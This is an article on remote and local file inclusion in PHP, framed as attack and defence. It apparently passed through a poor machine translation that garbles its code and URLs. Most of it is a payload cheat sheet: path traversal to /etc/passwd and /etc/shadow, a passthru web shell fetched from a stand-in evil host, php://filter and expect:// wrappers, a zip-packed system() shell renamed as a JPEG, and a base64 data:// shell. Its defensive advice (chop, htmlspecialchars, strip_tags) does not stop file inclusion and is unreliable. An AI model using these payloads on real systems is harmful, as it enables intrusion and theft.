# Remote File Inclusion / Local File Inclusion

Attack and Defense Techniques

Ismail Tasdelen

As with many exploits, remote and local file inclusions are only a problem at the end of the encoding. Of course it takes a second person to have it. Now this article will hopefully give you an idea of protecting your website and most importantly your code from a file iclusion exploit. I'll give code examples in PHP format.

Let's look at some of the code that makes RFI / LFI exploits possible.

```
<a href=index.php?page=file1.php> Files </a>
<? Php
$ page = $ _GET [page];
include ($ page);
?>
```

Now obviously this should not be used. The $ page entry is not fully cleared. $ page input is directed directly to the damn web page, which is a big "NO". Always remove any input passing through the browser. When the user clicks on "File" to visit "files.php" when he visits the web page, something like this will appear.

```
http: //localhost/index.php? page = files.php
```

Now if no one has cleared the input in the $ page variable, we can have it pointed to what we want. If hosted on a unix / linux server, we can display the password as configuration files for shaded or uncleaned variable input.

Viewing files on the server is a "Local File Inclusion" or LFI exploit. This is no worse than an RFI exploit.

```
http: //localhost/index.php? page = .. / .. / .. / .. / .. / .. / etc /
passwd
```

The code will probably return to / etc / passwd. Now let's look at the RFI aspect of this exploit. Let's get some of the codes we've taken before.

```
<a href=index.php?page=file1.php> Files </a>
<? Php
$ page = $ _GET [page];
include ($ page);
?>
```

Now suppose we write something like …

```
http: //localhost/index.php? page = http: //google.com/
```

Probably where the $ page variable was originally placed on the page, we get the google.com homepage. This is where the codder can be hurt. We all know what c99 (shell) can do, and if coders are careful, they may be included in the page, allowing users to surf through sensitive files and contacts at the appropriate time. Let's look at something simpler that can happen on a web page. The faster and more dirty use of RFI exploitation is to your advantage. Now, create a file named "test.php" and put the following code in it and save it.

```
<? Php
passthru ($ _ GET [cmd]);
?>
```

Now this file is something you can use to your advantage to include it on a page with RFI exploitation. The passthru () command in PHP is very evil, and many hosts call it “out of service for security reasons”. With this code in test.php, we can send a request to the web page, including file inclusion exploit.

```
http: //localhost/index.php? page = http: //someevilhost.com/test.php
```

When the code makes a $ _GET request, we must provide a command to pass to passthru (). We can do something like this.

```
http: //localhost/index.php? page = http: //someevilhost.com/test.php? cmd =
cat / etc / passwd
```

This unix machine will also extract the file / etc / passwd using the cat command. Now we know how to exploit RFI exploit, now we need to know how to hold it and make it impossible for anyone to execute the command, and how to include remote pages on your server. First, we can disable passthru (). But anything on your site can use it again (hopefully not). But this is the only thing you can do. I suggest cleaning the inputs as I said before. Now, instead of just passing variables directly to the page, we can use a few PHP-proposed structures within functions. Initially, chop () from perl was adapted to PHP, which removes whitespaces from an array. We can use it like this.

```
<a href=index.php?page=file1.php> Files </a>
<? Php
$ page = chop ($ _ GET [page]);
include ($ page);
?>
```

There are many functions that can clear string. htmlspecialchars () htmlentities (), stripslashes () and more. In terms of confusion, I prefer to use my own functions. We can do a function in PHP that can clear everything for you, here I’ve prepared something easy and quick about this course for you.

```
<? Php
function cleanAll ($ input) {
$ input = strip_tags ($ input);
$ input = htmlspecialchars ($ input);
return ($ input);
}
?>
```

Now I hope you can see what’s going on inside this function, so you can add yours. I would suggest using the str_replace () function and there are a lot of other functions to clear them. Be considerate and stop the RFI & LFI exploit frenzy!

### Basic LFI (null byte, double encoding and other tricks) :

```
http://example.com/index.php?page=etc/passwd
http://example.com/index.php?page=etc/passwd%00
http://example.com/index.php?page=../../etc/passwd
http://example.com/index.php?page=%252e%252e%252f
http://example.com/index.php?page=....//....//etc/passwd
```

Interesting files to check out :

```
/etc/issue
/etc/passwd
/etc/shadow
/etc/group
/etc/hosts
/etc/motd
/etc/mysql/my.cnf
/proc/[0-9]*/fd/[0-9]*   (first number is the PID, second is the
filedescriptor)
/proc/self/environ
/proc/version
/proc/cmdline
```

### Basic RFI (null byte, double encoding and other tricks) :

```
http://example.com/index.php?page=http://evil.com/shell.txt
http://example.com/index.php?page=http://evil.com/shell.txt%00
http://example.com/index.php?page=http:%252f%252fevil.com%252fshell.txt
```

### LFI / RFI Wrappers :

LFI Wrapper rot13 and base64 - php://filter case insensitive.

```
http://example.com/index.php?page=php://filter/read=string.rot13/resource=ind
ex.php
http://example.com/index.php?page=php://filter/convert.base64-
encode/resource=index.php
http://example.com/index.php?page=pHp://FilTer/convert.base64-
encode/resource=index.php

Can be chained with a compression wrapper.
http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-
encode/resource=/etc/passwd
```

### LFI Wrapper ZIP :

```
echo "</pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php
```

### RFI Wrapper DATA with "" payload :

```
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyd
jbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
```

### RFI Wrapper EXPECT :

```
http://example.com/index.php?page=php:expect://id
http://example.com/index.php?page=php:expect://ls
```

### XSS via RFI/LFI with "" payload :

```
http://example.com/index.php?page=data:application/x-httpd-
php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+
```

### LFI to RCE via /proc/*/fd :

1. Upload a lot of shells (for example : 100)
2. Include http://example.com/index.php?page=/proc/$PID/fd/$FD with $PID = PID of the process (can be bruteforced) and $FD the filedescriptor (can be bruteforced too)

### LFI to RCE via Upload :

```
http://example.com/index.php?page=path/to/uploaded/file.png
```

### References :

- 👉 Testing for Local File Inclusion
- 👉 Wikipedia
- 👉 Remote File Inclusion
- 👉 Wikipedia: "Remote File Inclusion"
- 👉 PHP File Inclusion
- 👉 PayloadBox